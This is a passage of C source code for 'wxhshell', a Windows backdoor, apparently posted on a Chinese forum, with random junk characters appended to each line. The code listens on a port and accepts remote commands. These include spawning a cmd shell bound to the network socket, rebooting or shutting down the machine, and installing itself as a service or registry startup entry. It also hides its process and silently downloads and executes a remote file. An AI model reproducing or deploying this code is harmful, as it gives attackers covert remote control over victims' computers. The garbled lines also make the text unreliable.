  } pV|?dQ  
  else { /IW=+ri  
Ty:Ir  
    switch(cmd[0]) { YYr&r.6  
  Q|z06_3i  
  // 帮助 p#BvlS=D  
  case '?': { =(5GU<}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i[^lJ)[>N  
    break; +9F#~{v`4a  
  } KXfW&d(Pk  
  // 安装 Y@S6m@.$  
  case 'i': { Vg~ kpgB  
    if(Install()) }w^ T9OC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZBq*<VtV  
    else s1$#G!'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cj9O [  
    break; iT9Ex9RL  
    } 2(J tD  
  // 卸载 VEKITBs  
  case 'r': { :k/U7 2  
    if(Uninstall()) ftuQ"Ds  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;/3/R/^g  
    else T`{MQ:s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); et}Y4,:  
    break; \'=}kk`  
    } Tv)y }  
  // 显示 wxhshell 所在路径 g*.(! !  
  case 'p': { m_I$"ge  
    char svExeFile[MAX_PATH]; vK7,O%!S  
    strcpy(svExeFile,"\n\r"); ^J~4~!  
      strcat(svExeFile,ExeFile); m$qC 8z]  
        send(wsh,svExeFile,strlen(svExeFile),0); t% B!\]  
    break; RAQ;O  
    } '#::ba[9w  
  // 重启 J}KktD@!O  
  case 'b': { 8"UG&wLT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IX?%H!i  
    if(Boot(REBOOT)) <+,0 G`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(NyOC  
    else { "Am0.c/  
    closesocket(wsh); +p6\R;_E  
    ExitThread(0); hdqls0 r  
    } wO)KQ~yX  
    break; [E1|jcmQ  
    } ^Es)?>eah  
  // 关机 <OfzE5  
  case 'd': { c7!`d.{90  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cbvl( (  
    if(Boot(SHUTDOWN)) A0u:Fm{E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TN aff  
    else { #%tL8/K*  
    closesocket(wsh); A"VXs1>_^  
    ExitThread(0); k 0Yixa  
    } u3brb'Y+  
    break; #e269FwN  
    } /O9EI'40)  
  // 获取shell =u"|qD  
  case 's': { Qug'B  
    CmdShell(wsh); >&Q. .`q  
    closesocket(wsh); i3j jPN!  
    ExitThread(0); n(S-F g  
    break; d'fpaLV  
  } (k.7q~:  
  // 退出 e-=PT 1T`  
  case 'x': { 4!%LD(jB`B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y!$ z7K  
    CloseIt(wsh); 6dp_R2zH~o  
    break; I;:_25WGC  
    } j&GKpt  
  // 离开 K): sq{  
  case 'q': { ;#yz i2f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j/|qge4  
    closesocket(wsh); }"H900WE|  
    WSACleanup(); *3($s_r>  
    exit(1); cs;Gk:  
    break; :]hfmWC   
        } 1V?)zp  
  } a Z, Wa-k  
  } 0EU4irMa  
@sO.g_yM  
  // 提示信息 Z@A1+kUS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RE$-{i  
} f L?~1i =  
  } H9!*DA<W  
boovCW  
  return; S @($c'  
} yo6IY  
7}.(EZ0  
// shell模块句柄 YWFHiB7x  
int CmdShell(SOCKET sock) f+AIxSw  
{ 0k<%l6Bq  
STARTUPINFO si; 6I![5j  
ZeroMemory(&si,sizeof(si)); S-|$sV^cG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ooy96M~_G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6mLE-( Z7  
PROCESS_INFORMATION ProcessInfo; CZ}tQx5ga  
char cmdline[]="cmd"; *E_= 8OV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f |5|n>*  
  return 0; &>+Z$ZD  
} r:-WfDz.  
Z3{Qtysuv3  
// 自身启动模式 y&]D2"I  
int StartFromService(void) {qyo#  
{ 8!Kfe  
typedef struct N6'Y N10  
{ uGWk(qn  
  DWORD ExitStatus; =&GV\ju  
  DWORD PebBaseAddress; A79SAheX#  
  DWORD AffinityMask; 2eYkWHi  
  DWORD BasePriority; ~VF,qspO  
  ULONG UniqueProcessId; Mq?21gW  
  ULONG InheritedFromUniqueProcessId; 7?s>u937  
}   PROCESS_BASIC_INFORMATION; *CSFkWVa  
GssoT<Y)Z  
PROCNTQSIP NtQueryInformationProcess; 30"G%DFd  
+ P.Ir  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;ecF~-oku  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ElxbHQj6  
8~&v\GDkF  
  HANDLE             hProcess; Xw)+5+t"{  
  PROCESS_BASIC_INFORMATION pbi; ' ?t{-z,  
t-/^O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "p\KePc;@  
  if(NULL == hInst ) return 0; gO36tc:ce  
7\lc aC@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u e~1144  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zV#k #/$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); St<\qC  
5Z{[.&x  
  if (!NtQueryInformationProcess) return 0; Dl6zl6q?  
z)Gr`SA<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ><HXd+- sd  
  if(!hProcess) return 0; _qfdk@@g  
=6:Iv"<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bfgLU.1I  
|kD?^Nx  
  CloseHandle(hProcess); T^W8_rm *3  
&bb*~W-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); on|>"F`pb  
if(hProcess==NULL) return 0; de[_T%A  
#=rI[KI  
HMODULE hMod; $ a7^3  
char procName[255]; hQO~9mQ+!  
unsigned long cbNeeded; >n/QKFvV5  
+H_Z!T.@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nS#;<p$\  
X8<ygci+.5  
  CloseHandle(hProcess); '1aOdEZA*  
0vEa]ljS  
if(strstr(procName,"services")) return 1; // 以服务启动 ;x"B ):?\  
1L ow[i  
  return 0; // 注册表启动 z$A5p4=B'^  
} r&w>+KIt  
6O?O6Ub  
// 主模块 @M-bE=  
int StartWxhshell(LPSTR lpCmdLine) }|;n[+}  
{ }T6jQ:?@  
  SOCKET wsl; BDA\9m^3  
BOOL val=TRUE; @ggM5mm  
  int port=0; F6 Ixu_s  
  struct sockaddr_in door; .u)YZN0\  
5UqCRz<,R  
  if(wscfg.ws_autoins) Install(); aj:+"X-;  
P`0aU3pl  
port=atoi(lpCmdLine); Z(FAQ\7  
>r3Wo%F'  
if(port<=0) port=wscfg.ws_port; s_|wvOW)'  
4YJs4CB  
  WSADATA data; LQ._?35r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; );C !:?  
b^ZrevM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ' x|B'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f;*\y!|lg~  
  door.sin_family = AF_INET; /<5/gV 1Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tfsG P]9$  
  door.sin_port = htons(port); DvGtO)5._  
%PQC9{hUy$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N4r`czoj  
closesocket(wsl); lVt gg?  
return 1; 8K$:9+OY  
} 9r!%PjNvE  
cB TMuDT_  
  if(listen(wsl,2) == INVALID_SOCKET) { p 7sYgz  
closesocket(wsl); r\yj$Gu>(  
return 1; )pJzw-m"  
} ?tBEB5  
  Wxhshell(wsl); 7dLPy[8";t  
  WSACleanup(); 'del|"h!M  
i/->g:47P  
return 0; umj7-fh  
v/)dsSNZ0u  
} ){/y-ixH  
WW&0FugY_  
// 以NT服务方式启动 ~k&b3-A}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x;N?'"GP  
{ JprZ6 >  
DWORD   status = 0; jtA Yp3M-$  
  DWORD   specificError = 0xfffffff; @0aUWG!k  
$0WAhq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?x:\RNB/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _)ERi*}x8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #3.\}d)  
  serviceStatus.dwWin32ExitCode     = 0; ms~ mg:  
  serviceStatus.dwServiceSpecificExitCode = 0; \K?3LtJ  
  serviceStatus.dwCheckPoint       = 0; 4aGHks8Z,\  
  serviceStatus.dwWaitHint       = 0; #fwG~Q(  
Ts^IA67&<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H|Eu,eq-E  
  if (hServiceStatusHandle==0) return; ,5nrovv  
\aG>(Mr  
status = GetLastError(); 1=s%.0  
  if (status!=NO_ERROR) _M 7AQ5  
{ Lz4iLLP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R+5x:mpHy  
    serviceStatus.dwCheckPoint       = 0;   ]3%Z  
    serviceStatus.dwWaitHint       = 0; =U?"#   
    serviceStatus.dwWin32ExitCode     = status; K,J:i^2  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~;{)S}U@R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LJT+tb?K  
    return; =oSv=xY  
  } %lvSO/F+  
hhwV)Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d6_ CsqV  
  serviceStatus.dwCheckPoint       = 0; F3+)bIz  
  serviceStatus.dwWaitHint       = 0; DBOz<|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .@R{T3 =Q  
} 1Azigd0%  
l( "_JI  
// 处理NT服务事件,比如:启动、停止 h!$W^Tm2g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :?&N/ 7  
{ 7D4P= $UJp  
switch(fdwControl) }F-WOQ  
{ /QG8\wXE2  
case SERVICE_CONTROL_STOP: Mk7#qiPo  
  serviceStatus.dwWin32ExitCode = 0; m(?M]CH(A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,1od]]>(O  
  serviceStatus.dwCheckPoint   = 0; 1Ocyrn  
  serviceStatus.dwWaitHint     = 0; 5gi`&t`  
  { Wh"oL;O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !\CoJ.5=  
  } 55fV\3F|R  
  return; C^.:{  
case SERVICE_CONTROL_PAUSE: R5qC;_0cV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; " GgK,d}%  
  break; $/6.4" j  
case SERVICE_CONTROL_CONTINUE: n pBpYtG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dqnxhN+&  
  break; eEXer>Rm   
case SERVICE_CONTROL_INTERROGATE: Q[S""P.Z|  
  break; ><dSwwu  
}; EI]NOG 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ']>@vo4kK{  
}  z>hA1*Ti  
 |G{TA  
// 标准应用程序主函数 kE=}.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^b'|`R+~}  
{ G!@tW`HO  
kpcIU7|e  
// 获取操作系统版本 GKSfr8US4  
OsIsNt=GetOsVer(); 8 yQjB-,#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YX,y7Uhn  
crUt8L-B4  
  // 从命令行安装 J6Cw1Pi  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0d~>zKho  
2vT>hC?oHz  
  // 下载执行文件 J)6f"{} &  
if(wscfg.ws_downexe) { B$sB1M0q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K)N7Y=C3  
  WinExec(wscfg.ws_filenam,SW_HIDE); +U% = w8b  
} {!@Pho)Q  
\2@OS6LUe  
if(!OsIsNt) { s7#w5fe  
// 如果时win9x,隐藏进程并且设置为注册表启动 @u#Tx%  
HideProc(); EJ"[{AV  
StartWxhshell(lpCmdLine); # KK>D?.:  
} 8" XbW7^o  
else _m#M^<0n  
  if(StartFromService()) JiCDY)bu  
  // 以服务方式启动 Q >] v?4  
  StartServiceCtrlDispatcher(DispatchTable); F`r=M%yh  
else yuWoz*:t  
  // 普通方式启动  5k{a(I  
  StartWxhshell(lpCmdLine); ANZD7v6a  
9U^jsb<St>  
return 0; aj85vON1`  
}
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只看该作者 1 发表于: 2006-10-10
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